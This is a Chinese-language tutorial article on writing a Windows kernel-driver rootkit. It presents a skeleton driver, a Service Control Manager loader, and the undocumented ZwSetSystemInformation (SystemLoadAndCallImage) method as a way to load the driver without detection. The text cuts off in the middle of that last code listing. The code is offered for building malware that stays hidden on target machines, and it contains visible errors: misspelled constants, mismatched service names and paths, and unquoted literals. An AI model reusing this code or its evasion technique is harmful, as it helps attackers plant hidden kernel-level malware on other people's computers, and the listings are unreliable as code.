Windows Rootkit开发初步
文/图 llikz
本文中的Rootkit是作为一个驱动程序加载在内核中的,这个简单的Rootkit在Windows NT 4.0和Windows 2000/XP下测试通过。因为我们的Rootkit是个驱动程序,所以必须创建Windows驱动程序开发环境,需要安装Windows XP DDK。
在Windows中,驱动程序是工作在Ring0层的,如图1所示。基本的驱动程序必须有一个DriverEntry函数。需要强调的是,函数中的代码是在Ring0层执行的。我们可以开发一个“fire and forget”模式的驱动程序,只在Ring0层执行代码。我们还需要开发一个能够被装载和卸载的驱动程序,原因是当代码改变的时候,我们还需要继续测试它。如果是“fire and forget”模式的驱动程序,需要重新启动计算机才能再测试。我们把驱动程序在系统中注册,然后通过正常的系统方法控制驱动程序的装载卸载等。但问题是,这种驱动程序很容易被检测到,这当然是Rootkit所不希望的。
图1 驱动程序的基本结构
用户态的程序通过打开一个文件句柄使用驱动程序。驱动程序作为一个文件句柄,用户态程序可以向它发送数据。这些数据通过IRPs的形式发送出去,因此驱动程序需要注册回调函数来处理这些IRPs,因为我们的驱动程序不需要和用户态程序互通信,无需理会这些请求。为了处理这些IRPs,需要为这些回调函数填充功能函数指针。
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
theDriverObject->MajorFunction[i] = OnStubDispatch;
}
回调函数很简单,代码如下,可以简单完成所有的IRPs请求。
NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}
大部分Rootkit不需要自己去卸载,一旦Rootkit被安装到系统中,当然希望它能一直装载在目标机器中,但当我们需要经常修改和测试驱动程序的时候,卸载程序就必不可少了。为了使驱动程序可以被卸载,我们需要注册一个unload例程,为unload例程提供一个函数指针。
theDriverObject->DriverUnload = OnUnload;
卸载函数也很简单,代码如下。
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called
");
}
总结以上内容,一个简单的能够被装载和卸载的驱动驱动程序完整代码如下。
#include "ntddk.h"
NTSTATUS OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called
");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath
)
{
int i;
DbgPrint("My Driver Loaded!");
// Register a dispatch function.
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
theDriverObject->MajorFunction[i] = OnStubDispatch;
}
return STATUS_SUCCESS;
}
到现在为止,我们就可以开发一个简单的驱动程序了。下面的工作是如何将驱动程序加载到系统上。假设我们的驱动程序存储在“C:\_root_.sys”,驱动程序的安装流程如下。
1)调用OpenSCManager()打开服务控制管理器
2)调用CreateService()创建一个服务,服务类型为内核驱动
3)调用OpenService()取得服务句柄
4)调用StartService()启动服务
5)调用ControlService()停止服务
6)调用DeleteService()删除服务
7)调用CloseServiceHandle()关闭服务句柄
#include "stdafx.h"
#include <windows.h>
#include <process.h>
void usage(char *p){ printf("Usage:
%s l load driver from c:\_root_.sys
%s u unload driver
,p,p);
int main(int argc,char* argv[])
{
if(argc != 2)
{
usage(argv[0]);
exit(0);
}
//如果装载驱动程序
if(*argv[1]==l)
{//打开服务管理器
SC_HANDLE sh=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(!sh)
{
printf("error OpenSCManager");
exit(1);
}
//开始建立服务
SC_HANDLE rh=CreateService(
sh,
"_root_",
"_root_",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEmAND_START,
SERVICE_ERROR_NOMAL,
"C:\_roor_.sys",
NULL,
NULL,
NULL,
NULL,
NULL);
//建立失败
if(!rh)
{//服务已经存在
if(GetLastError()==ERROR_SERVICE_EXISTS)
{
//打开服务
rh=OpenService(
sh,
"_roor_",
SERVICE_ALL_ACCESS);
//打开服务出错
if(!rh)
{
printf("error OpenService");
CloseServicehandle(sh);
exit(1);
}
}
else
{
printf("error CreateService");
CloseServiceHandle(sh);
exit(1);
}
}
}
//卸载驱动程序
else if(*argv[1]==u)
{
SERVICE_STATUS ss;
printf("Unloading Rootkit driver
");
//打开服务控制器
SC_HANDLE sh=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(!sh)
{
printf("error OpenSCManager");
exit(1);
}
//打开服务
SC_HANDLE rh = OpenService(
sh,
"_root_",
SERVICE_ALL_ACCESS);
if(!rh)
{
printf("error OpenService");
CloseServiceHandle(sh);
exit(1);
}
//停止服务
if(!ControlService(rh, SERVICE_CONTROL_STOP, &ss))
{
puts("warning: could not stop service");
}
//删除服务
if (!DeleteService(rh))
{
puts("warning: could not delete service");
}
CloseServiceHandle(rh);
CloseServiceHandle(sh);
}
else
usage(argv[0]);
return 0;
}
上面的代码使用参数“l”和“u”注册和反注册驱动程序,使用“net start _root_”启动驱动程序,使用“net stop _root_”停止驱动程序。
以上方式是以一种幽雅的方式安装驱动程序,如果我们的Rootkit使用这种方法安装在目标机器上,很容易被检测出来,使用微软未公布的原始API SetSystemInformation我们能很简单的装载驱动程序。但是如果使用这种方法,驱动程序一旦被加载,就不能正常卸载掉,除非重新启动计算机。另外,我们能够多次装载驱动程序,而正常情况下,驱动程序只能被装载一次。我们可以使用如下的代码装载驱动程序。
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT *
Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
NTSTATUS (__stdcall *ZwSetSystemInformation)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"\??\C:\_root_.SYS";
///////////////////////////////////////
// 得到RtlInitUnicodeString入口地址
///////////////////////////////////////
if( !(RtlInitUnicodeString = (void *)
GetProcAddress( GetModuleHandle("ntdll.dll")
,"RtlInitUnicodeString"
)))
{
exit(1);
}
//////////////////////////////////////
// 得到ZwSetSystemInformation入口地址
//////////////////////////////////////
if(!(ZwSetSystemInformation = (void
补充:综合编程 , 安全编程 ,